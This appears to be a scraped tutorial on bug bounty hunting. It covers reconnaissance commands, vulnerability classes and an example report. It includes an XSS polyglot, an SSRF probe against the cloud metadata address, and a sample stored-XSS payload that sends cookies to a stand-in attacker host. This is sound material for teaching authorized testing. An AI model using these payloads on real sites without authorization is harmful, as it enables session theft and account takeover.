Bug Bounty Hunting Complete Guide

1. What is Bug Bounty Hunting?

Bug bounty hunting is the practice of finding security vulnerabilities in websites and applications for rewards. Companies like Google, Microsoft, and Facebook pay researchers thousands of dollars for valid security reports. It's a legal way to hack—with authorization—and get paid.

2. Major Bug Bounty Platforms

Choosing Programs

• Start with VDPs: Vulnerability Disclosure Programs (no bounty) for practice
• Wide scope programs: More assets = more opportunities
• Responsive programs: Check average response time
• Avoid "No bounty table": Focus on programs with clear payouts

3. The Hunting Methodology

4. Reconnaissance Deep Dive

Subdomain Enumeration

# Passive subdomain discovery
subfinder -d target.com -o subs.txt
amass enum -passive -d target.com
assetfinder --subs-only target.com

# Active subdomain bruteforce
gobuster dns -d target.com -w wordlist.txt

# Combine and resolve
cat subs.txt | httpx -silent -o live_hosts.txt

# Find subdomain takeovers
subjack -w subs.txt -t 100 -o takeovers.txt

Content Discovery

# Directory brute forcing
feroxbuster -u https://target.com -w /path/to/wordlist

# Parameter discovery
arjun -u https://target.com/page

# JavaScript analysis
cat urls.txt | getJS --complete | tee js_files.txt
cat js_files.txt | xargs -I% bash -c 'python3 LinkFinder.py -i % -o cli'

# Wayback Machine
echo target.com | waybackurls | tee wayback.txt
cat wayback.txt | grep -E "\\.js$" | sort -u

Technology Fingerprinting

# Identify tech stack
whatweb https://target.com
wappalyzer-cli https://target.com

# CMS detection
nuclei -u https://target.com -t technologies/

# Check for known CVEs based on versions
nuclei -u https://target.com -t cves/

5. High-Value Vulnerabilities

Critical Bugs ($10K-$100K+)

• Remote Code Execution (RCE): Command injection, SSTI, deserialization
• Authentication Bypass: Access admin without credentials
• SQL Injection: Database access, data exfiltration
• SSRF to Internal Services: Access cloud metadata, internal APIs

High Bugs ($1K-$10K)

• IDOR/BOLA: Access other users' data
• Stored XSS: Account takeover via session theft
• Privilege Escalation: User to admin
• Sensitive Data Exposure: API keys, credentials in responses

# Quick SSRF check
echo "https://target.com/api/fetch?url=http://169.254.169.254/" | httpx

# IDOR testing
# Original: GET /api/users/123/profile
# Test: GET /api/users/124/profile (other user's data)

# XSS polyglot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//

6. Writing Reports That Pay

## Title: Stored XSS in Profile Bio Leads to Account Takeover

## Severity: High (8.1)

## Description
A stored XSS vulnerability exists in the user profile bio field at 
/settings/profile. The application fails to sanitize user input before 
rendering it in other users' browsers.

## Steps to Reproduce
1. Login to account A
2. Navigate to Settings > Profile
3. In the "Bio" field, enter: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
4. Save profile
5. Login to account B, view user A's profile
6. Observe JavaScript execution and cookie theft

## Impact
An attacker can steal session cookies of any user who views their profile,
leading to complete account takeover of victim accounts.

7. Essential Bug Bounty Tools

• Burp Suite Pro: Web proxy, scanner, Intruder ($449/year)
• Subfinder/Amass: Subdomain enumeration
• Nuclei: Template-based vulnerability scanning
• FFUF/Feroxbuster: Fast content discovery
• SQLMap: SQL injection automation
• httpx: HTTP probing and analysis

8. Maximizing Earnings

FAQ

XSS Guide SQLi Guide SSRF Guide